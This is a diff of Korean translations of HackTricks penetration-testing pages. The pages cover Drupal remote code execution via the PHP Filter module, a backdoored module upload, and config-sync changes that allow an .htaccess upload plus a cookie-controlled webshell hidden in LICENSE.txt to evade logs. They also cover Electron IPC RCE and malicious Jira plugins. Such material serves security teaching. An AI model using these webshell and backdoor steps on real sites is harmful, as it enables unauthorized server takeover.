<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 구사 필수_). **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구술 필수_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
@ -443,7 +443,7 @@ GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png"
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** * **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.** * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 을 공유하세요.**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,8 +1,8 @@
# Drupal RCE # Drupal RCE
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -18,20 +18,20 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
## With PHP Filter Module ## With PHP Filter Module
{% hint style="warning" %} {% hint style="warning" %}
이전 버전의 Drupal **(버전 8 이전)**에서는 관리자로 로그인하고 **`PHP filter` 모듈을 활성화**하는 것이 가능했습니다. 이 모듈은 "내장된 PHP 코드/스니펫을 평가할 수 있게 합니다." 그러나 버전 8부터 이 모듈은 기본적으로 설치되지 않습니다. 이전 버전의 Drupal **(버전 8 이전)**에서는 관리자로 로그인하고 **`PHP filter` 모듈을 활성화**할 수 있었습니다. 이 모듈은 "내장된 PHP 코드/스니펫을 평가할 수 있게 합니다." 그러나 버전 8부터 이 모듈은 기본적으로 설치되지 않습니다.
{% endhint %} {% endhint %}
**php 플러그인이 설치되어 있어야 합니다** (_/modules/php_에 접근하여 **403**이 반환되면 **존재함**, **찾을 수 없으면** **php 플러그인이 설치되지 않음**) **php 플러그인이 설치되어야 합니다** (_/modules/php_에 접근하여 **403**이 반환되면 **존재함**, **찾을 수 없으면**, **php 플러그인이 설치되지 않음**)
_모듈_ -> (**확인**) _PHP Filter_ -> _구성 저장_ _모듈_ -> (**확인**) _PHP 필터_ -> _구성 저장_으로 이동합니다.
![](<../../../.gitbook/assets/image (247) (1).png>) ![](<../../../.gitbook/assets/image (247) (1).png>)
그런 다음 _콘텐츠 추가_ -> _기본 페이지_ 또는 _기사_ 선택 -> _본문에 php 쉘코드 작성_ -> _텍스트 형식_에서 _PHP 코드_ 선택 -> _미리보기_ 선택 그런 다음 _콘텐츠 추가_ 클릭 -> _기본 페이지_ 또는 _기사_ 선택 -> _본문에 php 쉘코드 작성_ -> _텍스트 형식_에서 _PHP 코드_ 선택 -> _미리보기_ 선택
![](<../../../.gitbook/assets/image (338).png>) ![](<../../../.gitbook/assets/image (338).png>)
마지막으로 새로 생성된 노드에 접근하세요: 마지막으로 새로 생성된 노드에 접근합니다:
```bash ```bash
curl http://drupal-site.local/node/3 curl http://drupal-site.local/node/3
``` ```
@ -80,7 +80,7 @@ RewriteBase /
mv shell.php .htaccess captcha mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/ tar cvf captcha.tar.gz captcha/
``` ```
* 웹사이트에 **관리자 접근** 권한이 있다고 가정하고, 사이드바에서 **`Manage`**를 클릭한 다음 **`Extend`**를 클릭합니다. 다음으로 **`+ Install new module`** 버튼을 클릭하면 `http://drupal-site.local/admin/modules/install`과 같은 설치 페이지로 이동합니다. 백도어가 있는 Captcha 아카이브로 이동하여 **`Install`**을 클릭합니다. * 웹사이트에 **관리자 접근** 권한이 있다고 가정할 때, 사이드바에서 **`Manage`**를 클릭한 다음 **`Extend`**를 클릭합니다. 다음으로 **`+ Install new module`** 버튼을 클릭하면 `http://drupal-site.local/admin/modules/install`과 같은 설치 페이지로 이동합니다. 백도어가 있는 Captcha 아카이브로 이동하여 **`Install`**을 클릭합니다.
* 설치가 성공하면 **`/modules/captcha/shell.php`**로 이동하여 명령을 실행합니다. * 설치가 성공하면 **`/modules/captcha/shell.php`**로 이동하여 명령을 실행합니다.
## 구성 동기화를 통한 Drupal 백도어 <a href="#backdooring-drupal" id="backdooring-drupal"></a> ## 구성 동기화를 통한 Drupal 백도어 <a href="#backdooring-drupal" id="backdooring-drupal"></a>
@ -89,17 +89,17 @@ tar cvf captcha.tar.gz captcha/
### 1부 (_Media_ 및 _Media Library_ 활성화) ### 1부 (_Media_ 및 _Media Library_ 활성화)
_Extend_ 메뉴 (/admin/modules)에서 이미 설치된 플러그인으로 보이는 항목을 활성화할 수 있습니다. 기본적으로 플러그인 _Media_ 및 _Media Library_는 활성화되지 않은 상태이므로 활성화하겠습니다. _Extend_ 메뉴 (/admin/modules)에서 이미 설치된 플러그인으로 보이는 항목을 활성화할 수 있습니다. 기본적으로 플러그인 _Media_ 및 _Media Library_는 활성화되지 않은 상태이므로 이를 활성화하겠습니다.
활성화 전: 활성화 전:
<figure><img src="../../../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
활성화 후: 활성화 후:
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
### 2부 (_Configuration synchronization_ 기능 활용) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a> ### 2부 (_Configuration synchronization_ 기능 활용) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
@ -122,9 +122,9 @@ allow_insecure_uploads: false
... ...
``` ```
<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
다음으로: 다음:
파일: system.file.yml 파일: system.file.yml
``` ```
@ -136,11 +136,11 @@ allow_insecure_uploads: true
... ...
``` ```
<figure><img src="../../../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Patch field.field.media.document.field\_media\_document.yml** **Patch field.field.media.document.field\_media\_document.yml**
그런 다음, 두 번째 항목 `file_extensions`를 다음과 같이 패치합니다: 그런 다음, 두 번째 항목 `file_extensions`를 다음에서 패치합니다:
File: field.field.media.document.field\_media\_document.yml File: field.field.media.document.field\_media\_document.yml
``` ```
@ -152,7 +152,7 @@ file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fod
... ...
``` ```
<figure><img src="../../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
다음으로: 다음으로:
@ -166,13 +166,13 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
... ...
``` ```
> 이 블로그 포스트에서는 사용하지 않지만, `file_directory` 항목을 임의로 정의할 수 있으며 경로 탐색 공격에 취약하다는 점이 주목됩니다 (따라서 Drupal 파일 시스템 트리 내에서 위로 올라갈 수 있습니다). > 이 블로그 포스트에서는 사용하지 않지만, `file_directory` 항목을 임의로 정의할 수 있으며, 경로 탐색 공격에 취약하다는 점이 주목됩니다 (따라서 Drupal 파일 시스템 트리 내에서 위로 올라갈 수 있습니다).
<figure><img src="../../../.gitbook/assets/image (6).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
### Part 3 (기능 _문서 추가_ 활용하기) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a> ### Part 3 (기능 _문서 추가_ 활용) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
마지막 단계는 가장 간단하며 두 개의 하위 단계로 나뉩니다. 첫 번째는 .htaccess 형식의 파일을 업로드하여 Apache 지시어를 활용하고 .txt 파일이 PHP 엔진에 의해 해석되도록 허용하는 것입니다. 두 번째는 우리의 페이로드를 포함하는 .txt 파일을 업로드하는 것입니다. 마지막 단계는 가장 간단하며, 두 개의 하위 단계로 나뉩니다. 첫 번째는 .htaccess 형식의 파일을 업로드하여 Apache 지시어를 활용하고 .txt 파일이 PHP 엔진에 의해 해석되도록 허용하는 것입니다. 두 번째는 우리의 페이로드를 포함하는 .txt 파일을 업로드하는 것입니다.
File: .htaccess File: .htaccess
``` ```
@ -194,13 +194,13 @@ php_flag engine on
``` ```
왜 이 트릭이 멋진가요? 왜 이 트릭이 멋진가요?
웹 셸(우리는 이를 LICENSE.txt라고 부릅니다.)이 웹 서버에 배포되면, `$_COOKIE`를 통해 명령을 전송할 수 있으며, 웹 서버 로그에는 텍스트 파일에 대한 정당한 GET 요청으로 나타납니다. 웹 셸(우리가 LICENSE.txt라고 부를 것)이 웹 서버에 배포되면, `$_COOKIE`를 통해 명령을 전송할 수 있으며, 웹 서버 로그에는 텍스트 파일에 대한 정당한 GET 요청으로 나타납니다.
왜 우리의 웹 셸을 LICENSE.txt라고 이름 짓나요? 왜 우리의 웹 셸을 LICENSE.txt라고 이름 짓나요?
단순히 Drupal 코어에 이미 존재하는 다음 파일, 예를 들어 [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt)를 사용하면, 339줄과 17.6 KB 크기의 파일이 있어 중간에 작은 PHP 코드 조각을 추가하기에 완벽합니다(파일이 충분히 크기 때문에). 단순히 Drupal 코어에 이미 존재하는 다음 파일, 예를 들어 [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt)를 사용하면, 339줄과 17.6 KB 크기의 파일이 있어 중간에 작은 PHP 코드 조각을 추가하기에 완벽합니다(파일이 충분히 크기 때문에).
<figure><img src="../../../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (7) (1).png" alt=""><figcaption></figcaption></figure>
파일: 패치된 LICENSE.txt 파일: 패치된 LICENSE.txt
```txt ```txt
@ -233,45 +233,45 @@ programs whose distribution conditions are different, write to the author
``` ```
#### **Part 3.1 (upload file .htaccess)** #### **Part 3.1 (upload file .htaccess)**
먼저, 우리는 _Add Document_ (/media/add/document) 기능을 활용하여 Apache 지시어가 포함된 파일(.htaccess)을 업로드합니다. 먼저, _Add Document_ (/media/add/document) 기능을 활용하여 Apache 지시어가 포함된 파일(.htaccess)을 업로드합니다.
<figure><img src="../../../.gitbook/assets/image (8).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (8) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (10) (1).png" alt=""><figcaption></figcaption></figure>
**Part 3.2 (upload file LICENSE.txt)** **Part 3.2 (upload file LICENSE.txt)**
그 다음, 우리는 _Add Document_ (/media/add/document) 기능을 다시 활용하여 라이선스 파일에 숨겨진 Webshell을 업로드합니다. 그 다음, _Add Document_ (/media/add/document) 기능을 다시 활용하여 라이선스 파일에 숨겨진 Webshell을 업로드합니다.
<figure><img src="../../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (12) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (13).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (13) (1).png" alt=""><figcaption></figcaption></figure>
### Part 4 (interaction with the Webshell) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a> ### Part 4 (interaction with the Webshell) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
마지막 부분은 Webshell과 상호작용하는 것으로 구성됩니다. 마지막 부분은 Webshell과 상호작용하는 것니다.
다음 스크린샷에서 볼 수 있듯이, Webshell에서 기대하는 쿠키가 정의되지 않으면 웹 브라우저를 통해 파일을 조회할 때 다음과 같은 결과를 얻습니다. 다음 스크린샷에서 볼 수 있듯이, Webshell에서 기대하는 쿠키가 정의되지 않으면 웹 브라우저를 통해 파일을 조회할 때 다음과 같은 결과를 얻습니다.
<figure><img src="../../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
공격자가 쿠키를 설정하면 Webshell과 상호작용하고 원하는 명령을 실행할 수 있습니다. 공격자가 쿠키를 설정하면 Webshell과 상호작용하고 원하는 명령을 실행할 수 있습니다.
<figure><img src="../../../.gitbook/assets/image (15).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
로그에서 볼 수 있듯이, 요청된 것은 txt 파일뿐인 것처럼 보입니다. 로그에서 볼 수 있듯이, 요청된 것은 txt 파일뿐인 것처럼 보입니다.
<figure><img src="../../../.gitbook/assets/image (16).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (16) (1).png" alt=""><figcaption></figcaption></figure>
이 기사를 읽어 주셔서 감사합니다. 이 정보가 여러분에게 도움이 되기를 바랍니다. 이 기사를 읽어 주셔서 감사합니다. 여러분이 몇 개의 쉘을 얻는 데 도움이 되기를 바랍니다.
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>

View file

@ -1,8 +1,8 @@
# Electron contextIsolation RCE via IPC # Electron contextIsolation RCE via IPC
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -15,15 +15,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
preload 스크립트가 main.js 파일에서 IPC 엔드포인트를 노출하면, 렌더러 프로세스가 이를 접근할 수 있으며, 취약점이 있을 경우 RCE가 가능할 수 있습니다. 프리로드 스크립트가 main.js 파일에서 IPC 엔드포인트를 노출하면, 렌더러 프로세스가 이를 접근할 수 있으며, 취약점이 있을 경우 RCE가 가능할 수 있습니다.
**이 예제들은 대부분 여기에서 가져왔습니다** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo). 추가 정보는 비디오를 확인하세요. **이 예제들은 대부분 여기에서 가져왔습니다** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo). 추가 정보는 비디오를 확인하세요.
## Example 0 ## Example 0
[https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21)에서 가져온 예제 (MS Teams가 XSS에서 RCE로 어떻게 악용되었는지에 대한 전체 예제를 슬라이드에서 확인할 수 있으며, 이는 매우 기본적인 예제입니다): [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21)에서 가져온 예제 (이 슬라이드에서 MS Teams가 XSS에서 RCE로 어떻게 악용되었는지에 대한 전체 예제를 수 있으며, 이는 매우 기본적인 예제입니다):
<figure><img src="../../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
## Example 1 ## Example 1
@ -95,7 +95,7 @@ shell.openExternal(url);
``` ```
## Example 3 ## Example 3
프리로드 스크립트가 메인 프로세스와 완전히 통신할 수 있는 방법을 노출하면, XSS는 모든 이벤트를 보낼 수 있습니다. 이의 영향은 메인 프로세스가 IPC 측면에서 무엇을 노출하는지에 따라 달라집니다. preload 스크립트가 메인 프로세스와 완전히 통신할 수 있는 방법을 노출하면, XSS는 모든 이벤트를 보낼 수 있습니다. 이의 영향은 메인 프로세스가 IPC 측면에서 무엇을 노출하는지에 따라 달라집니다.
```javascript ```javascript
window.electronListen = (event, cb) => { window.electronListen = (event, cb) => {
ipcRenderer.on(event, cb); ipcRenderer.on(event, cb);
@ -106,8 +106,8 @@ ipcRenderer.send(event, data);
}; };
``` ```
{% hint style="success" %} {% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS 해킹 배우기 및 연습하기:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP 해킹 배우기 및 연습하기: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -115,7 +115,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** * **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 을 공유하세요.** * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -15,15 +15,15 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_유창한 폴란드어 필기 및 구사 필수_). If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
## Check Privileges ## Check Privileges
Jira에서 **권한은** 인증된 사용자와 인증되지 않은 사용자 모두 `/rest/api/2/mypermissions` 또는 `/rest/api/3/mypermissions` 엔드포인트를 통해 확인할 수 있습니다. 이 엔드포인트는 사용자의 현재 권한을 공개합니다. **비인증 사용자에게 권한이 있는 경우** 보안 취약점이 발생할 수 있으며, 이는 **보상**의 대상이 될 수 있습니다. 마찬가지로, **인증된 사용자에게 예상치 못한 권한이 있는 경우**도 **취약점**을 강조합니다. Jira에서 **권한은** 인증된 사용자와 인증되지 않은 사용자 모두 `/rest/api/2/mypermissions` 또는 `/rest/api/3/mypermissions` 엔드포인트를 통해 확인할 수 있습니다. 이 엔드포인트는 사용자의 현재 권한을 보여줍니다. **비인증 사용자**가 권한을 보유하고 있는 경우 **보안 취약점**을 나타내며, 이는 **보상**의 대상이 될 수 있습니다. 마찬가지로, **인증된 사용자**의 **예상치 못한 권한**도 **취약점**을 강조합니다.
중요한 **업데이트**가 **2019년 2월 1일**에 이루어졌으며, 'mypermissions' 엔드포인트에 **'permission' 매개변수**를 포함해야 합니다. 이 요구 사항은 쿼리되는 권한을 명시하여 **보안을 강화**하는 것을 목표로 합니다: [여기에서 확인하세요](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter) 중요한 **업데이트**가 **2019년 2월 1일**에 이루어졌으며, 'mypermissions' 엔드포인트에 **'permission' 매개변수**를 포함해야 합니다. 이 요구 사항은 쿼리되는 권한을 명시하여 **보안을 강화**하는 것을 목표로 합니다: [여기에서 확인하세요](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
@ -118,7 +118,7 @@ XSS가 발견되면, [**이 github repo**](https://github.com/cyllective/XSS-Pay
## 백도어 플러그인 ## 백도어 플러그인
[**이 포스트**](https://cyllective.com/blog/posts/atlassian-malicious-plugin)는 악의적인 Jira 플러그인이 수행할 수 있는 다양한 (악의적인) 작업을 설명합니다. [**이 repo에서 코드 예제를 찾을 수 있습니다**](https://github.com/cyllective/malfluence). [**이 게시물**](https://cyllective.com/blog/posts/atlassian-malicious-plugin)은 악의적인 Jira 플러그인이 수행할 수 있는 다양한 (악의적인) 작업을 설명합니다. [**이 repo에서 코드 예제를 찾을 수 있습니다**](https://github.com/cyllective/malfluence).
악의적인 플러그인이 수행할 수 있는 작업은 다음과 같습니다: 악의적인 플러그인이 수행할 수 있는 작업은 다음과 같습니다:
@ -129,9 +129,7 @@ XSS가 발견되면, [**이 github repo**](https://github.com/cyllective/XSS-Pay
* **리버스 셸**: 또는 리버스 셸을 얻을 수 있습니다. * **리버스 셸**: 또는 리버스 셸을 얻을 수 있습니다.
* **DOM 프록시**: 만약 컨플루언스가 사설 네트워크 내에 있다면, 접근 권한이 있는 사용자의 브라우저를 통해 연결을 설정하고 예를 들어 서버 명령을 실행할 수 있습니다. * **DOM 프록시**: 만약 컨플루언스가 사설 네트워크 내에 있다면, 접근 권한이 있는 사용자의 브라우저를 통해 연결을 설정하고 예를 들어 서버 명령을 실행할 수 있습니다.
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구사 필수_). **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구사 필수_).

View file

@ -23,7 +23,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
확장 프로그램 레이아웃은 시각화할 때 가장 잘 보이며 세 가지 구성 요소로 구성됩니다. 각 구성 요소를 자세히 살펴보겠습니다. 확장 프로그램 레이아웃은 시각화할 때 가장 잘 보이며 세 가지 구성 요소로 구성됩니다. 각 구성 요소를 자세히 살펴보겠습니다.
<figure><img src="../../.gitbook/assets/image (16) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure> <figure><img src="../../.gitbook/assets/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
### **Content Scripts** ### **Content Scripts**
@ -45,7 +45,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
확장 프로그램의 각 구성 요소는 **강력한 보호 경계**로 서로 분리되어 있습니다. 각 구성 요소는 **별도의 운영 체제 프로세스**에서 실행됩니다. 콘텐츠 스크립트와 확장 프로그램 코어는 대부분의 운영 체제 서비스에서 사용할 수 없는 **샌드박스 프로세스**에서 실행됩니다. 확장 프로그램의 각 구성 요소는 **강력한 보호 경계**로 서로 분리되어 있습니다. 각 구성 요소는 **별도의 운영 체제 프로세스**에서 실행됩니다. 콘텐츠 스크립트와 확장 프로그램 코어는 대부분의 운영 체제 서비스에서 사용할 수 없는 **샌드박스 프로세스**에서 실행됩니다.
